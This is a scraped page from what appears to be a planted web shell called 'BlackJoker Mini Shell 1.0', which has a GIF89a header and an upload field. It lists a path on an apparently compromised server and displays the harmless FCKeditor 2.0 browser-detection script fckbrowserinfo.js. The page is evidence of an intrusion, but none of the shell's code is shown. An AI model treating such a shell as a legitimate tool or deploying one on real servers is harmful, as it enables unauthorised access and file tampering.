GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/fckeditor/editor/_source/internals/
Upload File :
Current File : /home/serb/www/fckeditor/editor/_source/internals/fckbrowserinfo.js

/*
 * FCKeditor - The text editor for internet
 * Copyright (C) 2003-2004 Frederico Caldeira Knabben
 * 
 * Licensed under the terms of the GNU Lesser General Public License:
 * 		http://www.opensource.org/licenses/lgpl-license.php
 * 
 * For further information visit:
 * 		http://www.fckeditor.net/
 * 
 * File Name: fckbrowserinfo.js
 * 	Defines the FCKBrowserInfo object that hold some browser informations.
 * 
 * Version:  2.0 RC3
 * Modified: 2005-02-23 00:43:57
 * 
 * File Authors:
 * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
 */

var FCKBrowserInfo = new Object() ;

var sAgent = navigator.userAgent.toLowerCase() ;

FCKBrowserInfo.IsIE			= sAgent.indexOf("msie") != -1 ;
FCKBrowserInfo.IsGecko		= !FCKBrowserInfo.IsIE ;
FCKBrowserInfo.IsNetscape	= sAgent.indexOf("netscape") != -1 ;

if ( FCKBrowserInfo.IsIE )
{
	FCKBrowserInfo.MajorVer = navigator.appVersion.match(/MSIE (.)/)[1] ;
	FCKBrowserInfo.MinorVer = navigator.appVersion.match(/MSIE .\.(.)/)[1] ;
}
else
{
	// TODO: Other browsers
	FCKBrowserInfo.MajorVer = 0 ;
	FCKBrowserInfo.MinorVer = 0 ;
}

FCKBrowserInfo.IsIE55OrMore = FCKBrowserInfo.IsIE && ( FCKBrowserInfo.MajorVer > 5 || FCKBrowserInfo.MinorVer >= 5 ) ;

./BlackJoker Mini Shell 1.0